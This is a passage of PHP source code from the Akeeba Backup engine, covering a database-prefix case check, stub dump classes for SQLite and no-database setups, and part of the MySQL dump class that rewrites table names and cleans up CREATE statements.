			$allTables,
			function (bool $carry, string $table): bool {
				return $carry || substr($table, 0, strlen($this->prefix)) === $this->prefix;
			},
			false
		);

		$hasLowercaseTables = array_reduce(
			$allTables,
			function (bool $carry, string $table) use ($allLowerCasePrefix): bool {
				return $carry || substr($table, 0, strlen($allLowerCasePrefix)) === $allLowerCasePrefix;
			},
			false
		);

		$hasUppercaseTables = array_reduce(
			$allTables,
			function (bool $carry, string $table) use ($allUpperCasePrefix): bool {
				return $carry || substr($table, 0, strlen($allUpperCasePrefix)) === $allUpperCasePrefix;
			},
			false
		);

		$hasWrongMixedCaseTables = array_reduce(
			$allTables,
			function (bool $carry, string $table) use ($allUpperCasePrefix, $allLowerCasePrefix): bool {
				if ($carry)
				{
					return $carry;
				}

				$prefix = substr($table, 0, strlen($allUpperCasePrefix));

				if ($prefix === $allUpperCasePrefix || $prefix === $allLowerCasePrefix || $prefix === $this->prefix)
				{
					return false;
				}

				return strtolower($prefix) === strtolower($this->prefix);
			},
			false
		);

		// Set up the warning message
		$warningMessage = sprintf(
			'You have database tables whose name starts with a form of the database prefix (%s) which has a different letter case. This WILL cause problems if you restore your site on Windows or macOS. We strongly recommend excluding all tables which do not start with the configured prefix, exactly as shown above (case-sensitive).',
			$this->prefix
		);

		/**
		 * We have tables returned with the original prefix (e.g. fOo_).
		 *
		 * We won't change the prefix, but we have to warn the user if there is a mix of prefixes in the installed
		 * tables.
		 *
		 * We warn when:
		 * - Any kind of prefix, there are tables with a mixed case prefix which doesn't match the configured one.
		 * - Lowercase prefix, there are uppercase tables
		 * - Uppercase prefix, there are lowercase tables
		 * - Mixed case prefix, there are upper- or lowercase tables
		 */
		if ($hasOriginalTables)
		{
			if (
				$hasWrongMixedCaseTables
				|| ($isLowerCasePrefix && $hasUppercaseTables)
				|| ($isUpperCasePrefix && $hasLowercaseTables)
				|| ($isMixedCasePrefix && ($hasLowercaseTables || $hasUppercaseTables))
			)
			{
				Factory::getLog()->warning($warningMessage);
			}

			return;
		}

		/**
		 * No tables with this prefix. Nothing for me to do.
		 *
		 * At this point we have checked if there are any tables with the mixed case prefix, the all lowercase prefix,
		 * and the uppercase prefix. None was found in any of these cases.
		 *
		 * I will not change the prefix to back up. However, if there are tables with the wrong mixed case format of the
		 * prefix I will have to issue a warning.
		 */
		if (!$hasLowercaseTables && !$hasUppercaseTables)
		{
			if ($hasWrongMixedCaseTables)
			{
				Factory::getLog()->warning($warningMessage);
			}

			return;
		}

		if (
			($isLowerCasePrefix && !$hasLowercaseTables && $hasUppercaseTables)
			|| ($isMixedCasePrefix && $hasUppercaseTables)
		)
		{
			Factory::getLog()->info(
				sprintf(
					'Auto-fixing the database prefix: you have configured the database table name prefix %s but we could not find any tables with this prefix. Instead, we found tables with the %s prefix; using that instead.',
					$this->prefix, $allUpperCasePrefix
				)
			);

			$this->_parametersArray['prefix'] = $allUpperCasePrefix;
			$this->prefix                     = $allUpperCasePrefix;
		}
		elseif (
			($isUpperCasePrefix && !$hasUppercaseTables && $hasLowercaseTables)
			|| ($isMixedCasePrefix && $hasLowercaseTables)
		)
		{
			Factory::getLog()->info(
				sprintf(
					'Auto-fixing the database prefix: you have configured the database table name prefix %s but we could not find any tables with this prefix. Instead, we found tables with the %s prefix; using that instead.',
					$this->prefix, $allLowerCasePrefix
				)
			);

			$this->_parametersArray['prefix'] = $allLowerCasePrefix;
			$this->prefix                     = $allLowerCasePrefix;
		}
		else
		{
			Factory::getLog()->warning(
				sprintf(
					'WRONG DATABASE PREFIX. You have configured the database table name prefix %s but we could not find any tables with this prefix, its lowercase (%s) or uppercase (%s) form. THIS WILL CAUSE RESTORATION PROBLEMS. Please rename your tables starting with different forms of the %1$s prefix so that they all start with its lowercase form (%2$s), then retake the backup.',
					$this->prefix, $allLowerCasePrefix, $allUpperCasePrefix
				)
			);

			return;
		}

		if ($hasLowercaseTables && $hasUppercaseTables)
		{
			Factory::getLog()->warning($warningMessage);
		}
	}
}
com_akeeba/BackupEngine/Dump/Native/Sqlite.php000060400000002521152455305260015255 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native;

defined('AKEEBAENGINE') || die();

use RuntimeException;

/**
 * Dump class for the "None" database driver (ie no database used by the application)
 */
#[\AllowDynamicProperties]
class Sqlite extends None
{
	public function __construct()
	{
		parent::__construct();

		throw new RuntimeException("Please do not add SQLite databases, they are files. If they are under your site's root they are backed up automatically. Otherwise use the Off-site Directories Inclusion to include them in the backup.");
	}

}
com_akeeba/BackupEngine/Dump/Native/None.php000060400000003772152455305260014724 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Dump\Base;
use Akeeba\Engine\Factory;

/**
 * Dump class for the "None" database driver (ie no database used by the application)
 */
#[\AllowDynamicProperties]
class None extends Base
{
	public function __construct()
	{
		parent::__construct();
	}

	/** @inheritDoc */
	protected function getTablesToBackup(): void
	{
	}

	/** @inheritDoc */
	protected function stepDatabaseDump(): void
	{
		Factory::getLog()->info("Reminder: database definitions using the 'None' driver result in no data being backed up.");

		$this->setState(self::STATE_FINISHED);
	}

	/** @inheritDoc */
	protected function getDatabaseNameFromConnection(): string
	{
		return '';
	}

	/** @inheritDoc */
	protected function getAllTables(): array
	{
		return [];
	}

	protected function _run()
	{
		Factory::getLog()->info("Reminder: database definitions using the 'None' driver result in no data being backed up.");

		$this->setState(self::STATE_POSTRUN);
	}

	protected function _finalize()
	{
		Factory::getLog()->info("Reminder: database definitions using the 'None' driver result in no data being backed up.");

		$this->setState(self::STATE_FINISHED);
	}
}
com_akeeba/BackupEngine/Dump/Native/Mysql.php000060400000212076152455305260015131 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Dump\Native;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Driver\QueryException;
use Akeeba\Engine\Dump\Base;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use RuntimeException;

/**
 * A generic MySQL database dump class.
 * Now supports views; merge, in-memory, federated, blackhole, etc tables
 * Configuration parameters:
 * host            <string>    MySQL database server host name or IP address
 * port            <string>    MySQL database server port (optional)
 * username        <string>    MySQL user name, for authentication
 * password        <string>    MySQL password, for authentication
 * database        <string>    MySQL database
 * dumpFile        <string>    Absolute path to dump file; must be writable (optional; if left blank it is
 * automatically calculated)
 */
#[\AllowDynamicProperties]
class Mysql extends Base
{
	/**
	 * The primary key structure of the currently backed up table. The keys contained are:
	 * - table        The name of the table being backed up
	 * - field        The name of the primary key field
	 * - value        The last value of the PK field
	 *
	 * @var array
	 */
	protected $table_autoincrement = [
		'table' => null,
		'field' => null,
		'value' => null,
	];

	private $columnListColumnType = [];

	private $columnListSelectColumn = '*';

	private $lastTableColumnType = null;

	private $lastTableSelectColumn = null;

	/**
	 * Implements the constructor of the class
	 *
	 * @return  void
	 */
	public function __construct()
	{
		parent::__construct();

		Factory::getLog()->debug(__CLASS__ . " :: New instance");
	}

	/**
	 * Replaces the table names in the CREATE query with their abstract form. Optionally updates dependencies.
	 *
	 * @param   string  $tableName        The table name the CREATE query is for
	 * @param   string  $tableSql         The CREATE query itself
	 * @param   bool    $withDependecies  Should I update dependencies?
	 *
	 * @return  array [$dependencies, $modifiedSQLQuery] - Dependency information for the table (if $withDependencies)
	 *                and the new CREATE query with all table names replaced with abstract versions.
	 *
	 * @throws  Exception  When we cannot get the DB object
	 */
	public function replaceTableNamesWithAbstracts($tableName, $tableSql, $withDependecies = false)
	{
		// Initialization
		$dependencies = [];
		$tableNameMap = $this->table_name_map;
		$db           = $this->getDB();

		if (!array_key_exists($tableName, $tableNameMap))
		{
			$tableNameMap[$tableName] = $this->getAbstract($tableName);
		}

		foreach ($tableNameMap as $fullName => $abstractName)
		{
			$quotedFullName     = $db->quoteName($fullName);
			$quotedAbstractName = $db->quoteName($abstractName);
			$pos                = strpos($tableSql, $quotedFullName);
			$numReplacements    = 0;

			if ($pos !== false)
			{
				$numReplacements = 1;

				// Do the replacement
				$tableSql = str_replace($quotedFullName, $quotedAbstractName, $tableSql);
			}
			elseif (!is_numeric($fullName))
			{
				$offset                   = 0;
				$fullNameLength           = strlen($fullName);
				$quotedAbstractNameLength = strlen($quotedAbstractName);

				/**
				 * We need to detect the edges of table names. If they are enclosed in backticks it's pretty clear. If they are
				 * not, e.g. in the definitions of TRIGGERs, we need to base our detection on the valid characters for
				 * unquoted MySQL table names per https://dev.mysql.com/doc/refman/5.7/en/identifiers.html
				 */
				[$bareCharRegex, $regexFlags] = $this->getMySQLIdentifierCharacterRegEx();
				$fullCharRegex = "/$bareCharRegex/$regexFlags";

				while (true)
				{
					$pos = strpos($tableSql, $fullName, $offset);

					if ($pos === false)
					{
						break;
					}

					// Skip over table-name-like strings in strings enclosed by single quotes
					$quotePos = strpos($tableSql, "'", $offset);

					if ($quotePos !== false && $quotePos < $pos)
					{
						// The table-like token is inside a string. Find its end.
						while (true)
						{
							$nextPos = strpos($tableSql, "'", $quotePos + 1);

							if ($nextPos === false)
							{
								break;
							}

							$prevChar = $nextPos > 0 ? $tableSql[$nextPos - 1] : null;
							$nextChar = strlen($tableSql) > $nextPos + 1 ? $tableSql[$nextPos + 1] : null;

							// Catch quote escaped as \'
							if ($prevChar === '\\')
							{
								$quotePos = $nextPos;

								continue;
							}

							// Catch quote escaped as ''
							if ($nextChar === "'")
							{
								$quotePos = $nextPos + 1;

								continue;
							}

							$offset = $nextPos + 1;

							continue 2;
						}
					}

					// Skip over table-name-like strings in strings enclosed by double quotes
					$quotePos = strpos($tableSql, '"', $offset);

					if ($quotePos !== false && $quotePos < $pos)
					{
						// The table-like token is inside a string. Find its end.
						while (true)
						{
							$nextPos = strpos($tableSql, '"', $quotePos + 1);

							if ($nextPos === false)
							{
								break;
							}

							$prevChar = $nextPos > 0 ? $tableSql[$nextPos - 1] : null;
							$nextChar = strlen($tableSql) > $nextPos + 1 ? $tableSql[$nextPos + 1] : null;

							// Catch quote escaped as \"
							if ($prevChar === '\\')
							{
								$quotePos = $nextPos;

								continue;
							}

							// Catch quote escaped as ""
							if ($nextChar === '"')
							{
								$quotePos = $nextPos + 1;

								continue;
							}

							$offset = $nextPos + 1;

							continue 2;
						}
					}

					// Catch table-name-like substring inside another table's name
					$previousChar    = ($pos > 0) ? substr($tableSql, $pos - 1, 1) : '';
					$nextChar        = ($pos < (strlen($tableSql) - $fullNameLength)) ? substr($tableSql, $pos + $fullNameLength, 1) : '';
					$prevIsTableChar = $previousChar === '' ? false : preg_match($fullCharRegex, $previousChar);
					$nextIsTableChar = $nextChar === '' ? false : preg_match($fullCharRegex, $nextChar);

					if ($prevIsTableChar || $nextIsTableChar)
					{
						$offset = $pos + 1;

						continue;
					}

					$before = ($pos > 0) ? substr($tableSql, 0, $pos) : '';
					$after  = ($pos < (strlen($tableSql) - $fullNameLength)) ? substr($tableSql, $pos + $fullNameLength) : '';

					$numReplacements++;
					$tableSql = $before . $quotedAbstractName . $after;

					$offset = $pos + $quotedAbstractNameLength;
				}
			}

			if ($withDependecies && $numReplacements && ($fullName != $tableName))
			{
				// Add a reference hit
				$this->dependencies[$fullName][] = $tableName;
				// Add the dependency to this table's metadata
				$dependencies[] = $fullName;
			}
		}

		return [$dependencies, $tableSql];
	}

	/**
	 * Creates a drop query from a CREATE query
	 *
	 * @param   string  $query  The CREATE query to process
	 *
	 * @return  string  The DROP statement
	 */
	protected function createDrop($query)
	{
		$db = $this->getDB();

		// Initialize
		$dropQuery = '';

		// Parse CREATE TABLE commands
		if (substr($query, 0, 12) == 'CREATE TABLE')
		{
			// Try to get the table name
			$restOfQuery = trim(substr($query, 12, strlen($query) - 12)); // Rest of query, after CREATE TABLE

			// Is there a backtick?
			if (substr($restOfQuery, 0, 1) == '`')
			{
				// There is... Good, we'll just find the matching backtick
				$pos       = strpos($restOfQuery, '`', 1);
				$tableName = substr($restOfQuery, 1, $pos - 1);
			}
			else
			{
				// Nope, let's assume the table name ends in the next blank character
				$pos       = strpos($restOfQuery, ' ', 1);
				$tableName = substr($restOfQuery, 0, $pos);
			}

			unset($restOfQuery);

			// Try to drop the table anyway
			$dropQuery = 'DROP TABLE IF EXISTS ' . $db->nameQuote($tableName) . ';';
		}
		// Parse CREATE VIEW commands
		elseif ((substr($query, 0, 7) == 'CREATE ') && (strpos($query, ' VIEW ') !== false))
		{
			// Try to get the view name
			$view_pos    = strpos($query, ' VIEW ');
			$restOfQuery = trim(substr($query, $view_pos + 6)); // Rest of query, after VIEW string

			// Is there a backtick?
			if (substr($restOfQuery, 0, 1) == '`')
			{
				// There is... Good, we'll just find the matching backtick
				$pos       = strpos($restOfQuery, '`', 1);
				$tableName = substr($restOfQuery, 1, $pos - 1);
			}
			else
			{
				// Nope, let's assume the table name ends in the next blank character
				$pos       = strpos($restOfQuery, ' ', 1);
				$tableName = substr($restOfQuery, 0, $pos);
			}

			unset($restOfQuery);

			$dropQuery = 'DROP VIEW IF EXISTS ' . $db->nameQuote($tableName) . ';';
		}
		// CREATE PROCEDURE pre-processing
		elseif ((substr($query, 0, 7) == 'CREATE ') && (strpos($query, 'PROCEDURE ') !== false))
		{
			// Try to get the procedure name
			$entity_keyword = ' PROCEDURE ';
			$entity_pos     = strpos($query, $entity_keyword);
			$restOfQuery    = trim(substr($query, $entity_pos + strlen($entity_keyword))); // Rest of query, after entity key string

			// Is there a backtick?
			if (substr($restOfQuery, 0, 1) == '`')
			{
				// There is... Good, we'll just find the matching backtick
				$pos         = strpos($restOfQuery, '`', 1);
				$entity_name = substr($restOfQuery, 1, $pos - 1);
			}
			else
			{
				// Nope, let's assume the entity name ends in the next blank character
				$pos         = strpos($restOfQuery, ' ', 1);
				$entity_name = substr($restOfQuery, 0, $pos);
			}

			unset($restOfQuery);

			$dropQuery = 'DROP' . $entity_keyword . 'IF EXISTS `' . $entity_name . '`;';
		}
		// CREATE FUNCTION pre-processing
		elseif ((substr($query, 0, 7) == 'CREATE ') && (strpos($query, 'FUNCTION ') !== false))
		{
			// Try to get the procedure name
			$entity_keyword = ' FUNCTION ';
			$entity_pos     = strpos($query, $entity_keyword);
			$restOfQuery    = trim(substr($query, $entity_pos + strlen($entity_keyword))); // Rest of query, after entity key string

			// Is there a backtick?
			if (substr($restOfQuery, 0, 1) == '`')
			{
				// There is... Good, we'll just find the matching backtick
				$pos         = strpos($restOfQuery, '`', 1);
				$entity_name = substr($restOfQuery, 1, $pos - 1);
			}
			else
			{
				// Nope, let's assume the entity name ends in the next blank character
				$pos         = strpos($restOfQuery, ' ', 1);
				$entity_name = substr($restOfQuery, 0, $pos);
			}

			unset($restOfQuery);

			// Try to drop the entity anyway
			$dropQuery = 'DROP' . $entity_keyword . 'IF EXISTS `' . $entity_name . '`;';
		}
		// CREATE TRIGGER pre-processing
		elseif ((substr($query, 0, 7) == 'CREATE ') && (strpos($query, 'TRIGGER ') !== false))
		{
			// Try to get the procedure name
			$entity_keyword = ' TRIGGER ';
			$entity_pos     = strpos($query, $entity_keyword);
			$restOfQuery    = trim(substr($query, $entity_pos + strlen($entity_keyword))); // Rest of query, after entity key string

			// Is there a backtick?
			if (substr($restOfQuery, 0, 1) == '`')
			{
				// There is... Good, we'll just find the matching backtick
				$pos         = strpos($restOfQuery, '`', 1);
				$entity_name = substr($restOfQuery, 1, $pos - 1);
			}
			else
			{
				// Nope, let's assume the entity name ends in the next blank character
				$pos         = strpos($restOfQuery, ' ', 1);
				$entity_name = substr($restOfQuery, 0, $pos);
			}

			unset($restOfQuery);

			// Try to drop the entity anyway
			$dropQuery = 'DROP' . $entity_keyword . 'IF EXISTS `' . $entity_name . '`;';
		}

		return $dropQuery;
	}

	/**
	 * Applies the SQL compatibility setting
	 *
	 * @return  void
	 */
	protected function enforceSQLCompatibility()
	{
		$db = $this->getDB();

		// Try to enforce SQL_BIG_SELECTS option
		try
		{
			$db->setQuery('SET sql_big_selects=1');
			$db->query();
		}
		catch (Exception $e)
		{
			// Do nothing; some versions of MySQL don't allow you to use the BIG_SELECTS option.
		}

		$db->resetErrors();
	}

	/**
	 * Return a list of columns and their data types.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  array  An array of table columns and their data types.
	 */
	protected function getColumnTypes($tableAbstract)
	{
		if ($this->lastTableColumnType == $tableAbstract)
		{
			return $this->columnListColumnType;
		}

		$this->lastTableColumnType = $tableAbstract;

		try
		{
			$db = $this->getDB();

			$db->setQuery('SHOW COLUMNS FROM ' . $db->qn($tableAbstract));

			$tableCols = $db->loadAssocList();
		}
		catch (Exception $e)
		{
			return $this->columnListColumnType;
		}

		foreach ($tableCols as $col)
		{
			$typeParts                                 = explode('(', $col['Type'], 2);
			$this->columnListColumnType[$col['Field']] = strtoupper($typeParts[0]);
		}

		return $this->columnListColumnType;
	}

// =============================================================================
// Dependency processing - the Twilight Zone starts here
// =============================================================================

	/**
	 * Return the current database name by querying the database connection object (e.g. SELECT DATABASE() in MySQL)
	 *
	 * @return  string
	 */
	protected function getDatabaseNameFromConnection(): string
	{
		$db = $this->getDB();

		try
		{
			$ret = $db->setQuery('SELECT DATABASE()')->loadResult();
		}
		catch (Exception $e)
		{
			return '';
		}

		return empty($ret) ? '' : $ret;
	}

	/**
	 * Get the default database dump batch size from the configuration
	 *
	 * @return  int
	 */
	protected function getDefaultBatchSize()
	{
		static $batchSize = null;

		if (is_null($batchSize))
		{
			$configuration = Factory::getConfiguration();
			$batchSize     = intval($configuration->get('engine.dump.common.batchsize', 1000));

			if ($batchSize <= 0)
			{
				$batchSize = 1000;
			}
		}

		return $batchSize;
	}

	/**
	 * Get a regular expression and its options for valid characters of an unquoted MySQL identifier.
	 *
	 * This is used wherever we need to detect an arbitrary, unquoted MySQL identifier per
	 * https://dev.mysql.com/doc/refman/5.7/en/identifiers.html
	 *
	 * Also what if Unicode support is not compiled in PCRE? In this case we will fall back to a much simpler regex
	 * which only supports the ASCII subset of the allowed characters. In this case your database dump will be wrong
	 * if you use table names with non-ASCII characters.
	 *
	 * Since the detection is horribly slow we cache its results in an internal static variable.
	 *
	 * @return  array  In the format [$regex, $flags]
	 * @since   7.0.0
	 */
	protected function getMySQLIdentifierCharacterRegEx()
	{
		static $validCharRegEx = null;
		static $unicodeFlag = null;

		if (is_null($validCharRegEx) || is_null($unicodeFlag))
		{
			$noUnicode      = @preg_match('/\p{L}/u', 'σ') !== 1;
			$unicodeFlag    = $noUnicode ? '' : 'u';
			$validCharRegEx = $noUnicode ? '[0-9a-zA-Z$_]' : '[0-9a-zA-Z$_]|[\x{0080}-\x{FFFF}]';
		}

		return [$validCharRegEx, $unicodeFlag];
	}

	/**
	 * Get the optimal row batch size for a given table based on the available memory
	 *
	 * @param   string  $tableAbstract     The abstract table name, e.g. #__foobar
	 * @param   int     $defaultBatchSize  The default row batch size in the application configuration
	 *
	 * @return  int
	 */
	protected function getOptimalBatchSize($tableAbstract, $defaultBatchSize)
	{
		$db = $this->getDB();

		try
		{
			$info = $db->setQuery('SHOW TABLE STATUS LIKE ' . $db->q($tableAbstract))->loadAssoc();
		}
		catch (Exception $e)
		{
			return $defaultBatchSize;
		}

		if (!isset($info['Avg_row_length']) || empty($info['Avg_row_length']))
		{
			return $defaultBatchSize;
		}

		// That's the average row size as reported by MySQL.
		$avgRow = str_replace([',', '.'], ['', ''], $info['Avg_row_length']);
		// The memory available for manipulating data is less than the free memory
		$memoryLimit = $this->getMemoryLimit();
		$memoryLimit = empty($memoryLimit) ? 33554432 : $memoryLimit;
		$usedMemory  = memory_get_usage();
		$memoryLeft  = 0.75 * ($memoryLimit - $usedMemory);
		// The 3.25 factor is empirical and leans on the safe side.
		$maxRows = (int) ($memoryLeft / (3.25 * $avgRow));

		return max(1, min($maxRows, $defaultBatchSize));
	}

	/**
	 * Gets the row count for table $tableAbstract. Also updates the $this->maxRange variable.
	 *
	 * @param   string  $tableAbstract  The abstract name of the table (works with canonical names too, though)
	 *
	 * @return  void
	 *
	 * @throws  QueryException
	 */
	protected function getRowCount($tableAbstract)
	{
		$db = $this->getDB();

		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select('COUNT(*)')
			->from($db->nameQuote($tableAbstract));

		$errno = 0;
		$error = '';

		try
		{
			$db->setQuery($sql);
			$this->maxRange = $db->loadResult();

			if (is_null($this->maxRange))
			{
				$errno = $db->getErrorNum();
				$error = $db->getErrorMsg(false);
			}
		}
		catch (Exception $e)
		{
			$this->maxRange = null;
			$errno          = $e->getCode();
			$error          = $e->getMessage();
		}

		if (is_null($this->maxRange))
		{
			Factory::getLog()->warning("Cannot get number of rows of $tableAbstract. MySQL error $errno: $error");

			return;
		}

		Factory::getLog()->debug("Rows on " . $tableAbstract . " : " . $this->maxRange);
	}

	/**
	 * Return a list of columns to use in the SELECT query for dumping table data.
	 *
	 * This is used to filter out all generated rows.
	 *
	 * @param   string  $tableAbstract
	 *
	 * @return  string|array  An array of table columns or the string literal '*' to quickly select all columns.
	 *
	 * @see  https://dev.mysql.com/doc/refman/5.7/en/create-table-generated-columns.html
	 */
	protected function getSelectColumns($tableAbstract)
	{
		if ($this->lastTableSelectColumn == $tableAbstract)
		{
			return $this->columnListSelectColumn;
		}

		$this->lastTableSelectColumn = $tableAbstract;

		try
		{
			$db = $this->getDB();

			$db->setQuery('SHOW COLUMNS FROM ' . $db->qn($tableAbstract));

			$tableCols = $db->loadAssocList();
		}
		catch (Exception $e)
		{
			return $this->columnListSelectColumn;
		}

		$totalColumns                 = is_array($tableCols) || $tableCols instanceof \Countable ? count($tableCols) : 0;
		$this->columnListSelectColumn = [];

		$hasInvisibleColumns = false;

		foreach ($tableCols as $col)
		{
			// Skip over generated columns
			$attribs = array_map('strtoupper', empty($col['Extra']) ? [] : explode(' ', $col['Extra']));

			if (in_array('GENERATED', $attribs))
			{
				continue;
			}

			if (in_array('INVISIBLE', $attribs))
			{
				$hasInvisibleColumns = true;
			}

			$this->columnListSelectColumn[] = $col['Field'];
		}

		if (!$hasInvisibleColumns && ($totalColumns == count($this->columnListSelectColumn)))
		{
			$this->columnListSelectColumn = '*';
		}

		return $this->columnListSelectColumn;
	}

	/**
	 * Scans the database for tables to be backed up and sorts them according to
	 * their dependencies on one another. Updates $this->dependencies.
	 *
	 * @return  void
	 */
	protected function getTablesToBackup(): void
	{
		// Makes the MySQL connection compatible with our class
		$this->enforceSQLCompatibility();

		$configuration = Factory::getConfiguration();
		$notracking    = $configuration->get('engine.dump.native.nodependencies', 0);

		// First, get a map of table names <--> abstract names
		$this->get_tables_mapping();

		if ($notracking)
		{
			// Do not process table & view dependencies
			$this->get_tables_data_without_dependencies();
		}
		// Process table & view dependencies (default)
		else
		{
			// Find the type and CREATE command of each table/view in the database
			$this->get_tables_data();

			// Process dependencies and rearrange tables respecting them
			$this->process_dependencies();

			// Remove dependencies array
			$this->dependencies = [];
		}
	}

	/**
	 * Gets the CREATE TABLE command for a given table/view/procedure/function/trigger
	 *
	 * @param   string  $table_abstract  The abstracted name of the entity
	 * @param   string  $table_name      The name of the table
	 * @param   string  $type            The type of the entity to scan. If it's found to differ, the correct type is
	 *                                   returned.
	 * @param   array   $dependencies    The dependencies of this table
	 *
	 * @return  string|null  The CREATE command
	 */
	protected function get_create($table_abstract, $table_name, &$type, &$dependencies)
	{
		$configuration = Factory::getConfiguration();
		$notracking    = $configuration->get('engine.dump.native.nodependencies', 0);

		$db = $this->getDB();

		switch ($type)
		{
			case 'table':
			case 'merge':
			case 'view':
			default:
				$sql = "SHOW CREATE TABLE `$table_abstract`";
				break;

			case 'procedure':
				$sql = "SHOW CREATE PROCEDURE `$table_abstract`";
				break;

			case 'function':
				$sql = "SHOW CREATE FUNCTION `$table_abstract`";
				break;

			case 'trigger':
				$sql = "SHOW CREATE TRIGGER `$table_abstract`";
				break;
		}

		$db->setQuery($sql);

		try
		{
			$temp = $db->loadRowList();
		}
		catch (Exception $e)
		{
			// If the query failed we don't have the necessary SHOW privilege. Log the error and fake an empty reply.
			$entityType = ($type == 'merge') ? 'table' : $type;
			$msg        = $e->getMessage();
			Factory::getLog()->warning("Cannot get the structure of $entityType $table_abstract. Database returned error $msg running $sql  Please check your database privileges. Your database backup may be incomplete.");

			$db->resetErrors();

			$temp = [
				['', '', ''],
			];
		}

		if (in_array($type, ['procedure', 'function', 'trigger']))
		{
			$table_sql = $temp[0][2];

			if (empty($table_sql))
			{
				Factory::getLog()->warning("Cannot get the structure of $type $table_abstract. The database refused to return the CREATE command for this $type. Please check your database privileges. Your database backup may be incomplete.");

				return null;
			}

			// MySQL adds the database name into everything. We have to remove it.
			$dbName    = $db->qn($this->database) . '.`';
			$table_sql = str_replace($dbName, '`', $table_sql);

			// These can contain comment lines, starting with a double dash. Remove them.
			$table_sql = trim($table_sql);

			/**
			 * Remove the definer from the CREATE PROCEDURE/TRIGGER/FUNCTION. For example, MySQL returns this:
			 * CREATE DEFINER=`myuser`@`localhost` PROCEDURE `abc_myProcedure`() ...
			 * If you're restoring on a different machine the definer will probably be invalid, therefore we need to
			 * remove it from the (portable) output.
			 *
			 * Remember, $table_sql may be multiline. Therefore we need to process only the first line and append any
			 * further lines to the CREATE statement.
			 */
			$table_sql = trim($table_sql);
			$lines     = explode("\n", $table_sql);
			$firstLine = array_shift($lines);
			$pattern   = '/^CREATE(.*?) ' . strtoupper($type) . ' (.*)/i';
			$result    = preg_match($pattern, $firstLine, $matches);
			$table_sql = 'CREATE ' . strtoupper($type) . ' ' . $matches[2] . "\n" . implode("\n", $lines);
			$table_sql = trim($table_sql);
		}
		else
		{
			$table_sql = $temp[0][1];
		}
		unset($temp);

		// Smart table type detection
		if (in_array($type, ['table', 'merge', 'view']))
		{
			// Check for CREATE VIEW
			$pattern = '/^CREATE(.*?) VIEW (.*)/i';
			$result  = preg_match($pattern, $table_sql, $matches);

			if ($result === 1)
			{
				// This is a view.
				$type = 'view';

				/**
				 * Newer MySQL versions add the definer and other information in the CREATE VIEW output, e.g.
				 * CREATE ALGORITHM=UNDEFINED DEFINER=`muyser`@`localhost` SQL SECURITY DEFINER VIEW `abc_myview` AS ...
				 * We need to remove that to prevent restoration troubles.
				 */
				$table_sql = 'CREATE VIEW ' . $matches[2];
			}
			else
			{
				// This is a table.
				$type = 'table';

				// # Fix 3.2.1: USING BTREE / USING HASH in indices causes issues migrating from MySQL 5.1+ hosts to
				// MySQL 5.0 hosts
				if ($configuration->get('engine.dump.native.nobtree', 1))
				{
					$table_sql = str_replace(' USING BTREE', ' ', $table_sql);
					$table_sql = str_replace(' USING HASH', ' ', $table_sql);
				}

				// Translate TYPE= to ENGINE=
				$table_sql = str_replace('TYPE=', 'ENGINE=', $table_sql);

				/**
				 * Remove the TABLESPACE option.
				 *
				 * The format of the TABLESPACE table option is:
				 * TABLESPACE tablespace_name [STORAGE {DISK|MEMORY}]
				 * where tablespace_name can be a quoted or unquoted identifier.
				 */
				[$validCharRegEx, $unicodeFlag] = $this->getMySQLIdentifierCharacterRegEx();
				$tablespaceName = "((($validCharRegEx){1,})|(`.*`))";
				$suffix         = 'STORAGE\s{1,}(DISK|MEMORY)';
				$regex          = "#TABLESPACE\s{1,}$tablespaceName\s{0,}($suffix){0,1}#i" . $unicodeFlag;
				$table_sql      = preg_replace($regex, '', $table_sql);

				// Remove table options {DATA|INDEX} DIRECTORY
				$regex     = "#(DATA|INDEX)\s{1,}DIRECTORY\s*=?\s*'.*'#i";
				$table_sql = preg_replace($regex, '', $table_sql);

				// Remove table options ROW_FORMAT=whatever
				$regex     = "#ROW_FORMAT\s*=\s*[A-Z]{1,}#i";
				$table_sql = preg_replace($regex, '', $table_sql);

				// Remove MariaDB MyISAM option PAGE_CHECKSUM
				$regex     = "#PAGE_CHECKSUM\s*=\s*[\d]{1,}#i";
				$table_sql = preg_replace($regex, '', $table_sql);

				// Abstract the names of table constraints and indices
